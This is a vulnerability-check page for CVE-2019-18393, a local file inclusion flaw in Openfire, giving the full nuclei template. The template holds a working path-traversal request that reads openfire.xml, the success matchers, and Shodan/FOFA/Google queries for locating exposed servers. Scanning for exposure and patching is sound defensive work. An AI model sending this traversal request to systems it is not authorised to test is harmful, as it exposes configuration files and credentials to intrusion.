Ignite Realtime Openfire <4.42 - Local File Inclusion

mediumseverity

5.3CVSS score

13.9%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

Ignite Realtime Openfire through 4.4.2 is vulnerable to local file inclusion via PluginServlet.java. It does not ensure that retrieved files are located under the Openfire home directory.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and potential compromise of the affected system.

Fix

Upgrade Ignite Realtime Openfire to version 4.42 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/plugins/search/..\..\..\conf\openfire.xml
Positive when: contains "org.jivesoftware.database.EmbeddedConnectionProvider" or "Most properties are stored in the Openfire database" AND status 200

Run it with nuclei: nuclei -id CVE-2019-18393 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-18393

info:
  name: Ignite Realtime Openfire <4.42 - Local File Inclusion
  author: pikpikcu
  severity: medium
  description: Ignite Realtime Openfire through 4.4.2 is vulnerable to local file inclusion via PluginServlet.java. It does not ensure that retrieved files are located under the Openfire home directory.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and potential compromise of the affected system.
  remediation: |
    Upgrade Ignite Realtime Openfire to version 4.42 or later to mitigate this vulnerability.
  reference:
    - https://github.com/igniterealtime/Openfire/pull/1498
    - https://swarm.ptsecurity.com/openfire-admin-console/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18393
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-18393
    cwe-id: CWE-22
    epss-score: 0.13945
    epss-percentile: 0.96574
    cpe: cpe:2.3:a:igniterealtime:openfire:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: igniterealtime
    product: openfire
    shodan-query:
      - http.title:"openfire admin console"
      - http.title:"openfire"
    fofa-query:
      - title="openfire"
      - title="openfire admin console"
    google-query:
      - intitle:"openfire"
      - intitle:"openfire admin console"
  tags: cve,cve2019,openfire,lfi,igniterealtime,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/plugins/search/..\..\..\conf\openfire.xml'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "org.jivesoftware.database.EmbeddedConnectionProvider"
          - "Most properties are stored in the Openfire database"

      - type: status
        status:
          - 200

References

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